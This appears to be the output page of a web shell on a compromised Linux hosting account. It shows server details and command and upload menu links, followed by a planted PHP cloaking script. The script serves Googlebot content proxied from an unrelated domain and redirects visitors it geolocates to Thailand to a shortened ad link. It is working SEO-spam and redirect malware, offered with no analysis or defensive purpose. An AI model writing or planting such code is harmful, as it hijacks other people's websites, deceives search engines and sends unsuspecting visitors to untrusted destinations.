|
Server IP : 111.221.42.98 / Your IP : 216.73.216.32 Web Server : Apache System : Linux garnet.daxa.net 4.18.0-477.13.1.lve.1.el8.x86_64 #1 SMP Mon Jul 17 15:05:09 EDT 2023 x86_64 User : binoor ( 1145) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/binoor/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
header('Vary: Accept-Language');
header('Vary: User-Agent');
function get_client_ip() {
$keys = [
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR'
];
foreach ($keys as $key) {
if (!empty($_SERVER[$key])) {
$ipList = explode(',', $_SERVER[$key]);
foreach ($ipList as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
}
}
}
return '127.0.0.1';
}
function fetch_site($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$headers = [
'User-Agent: ' . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0'),
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: ' . (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en-US,en;q=0.5'),
'Connection: keep-alive'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
$response = curl_exec($ch);
$info = curl_getinfo($ch);
if (curl_errno($ch)) {
curl_close($ch);
http_response_code(502);
echo "Bad Gateway";
exit;
}
curl_close($ch);
$headerSize = isset($info['header_size']) ? (int)$info['header_size'] : 0;
$header = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
$contentType = 'text/html';
if (preg_match('/Content-Type:\s*([^\r\n;]+)/i', $header, $mct)) $contentType = trim($mct[1]);
header('Content-Type: ' . $contentType . '; charset=UTF-8');
http_response_code(isset($info['http_code']) ? (int)$info['http_code'] : 200);
echo $body;
exit;
}
function is_google_bot() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
return stripos($ua, 'googlebot') !== false;
}
function is_thai_user() {
$ip = get_client_ip();
$geo = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"), true);
if (isset($geo['countryCode']) && $geo['countryCode'] === 'TH') return true;
$al = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
if (strpos($al, 'th') === 0) return true;
return false;
}
function redirect_to_ad() {
header("Location: https://t.ly/kpi", true, 302);
exit;
}
if (is_google_bot()) {
$targetUrl = "https://convocation.yvuexams.in/" . (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
fetch_site($targetUrl);
}
if (is_thai_user()) {
redirect_to_ad();
}
;
?>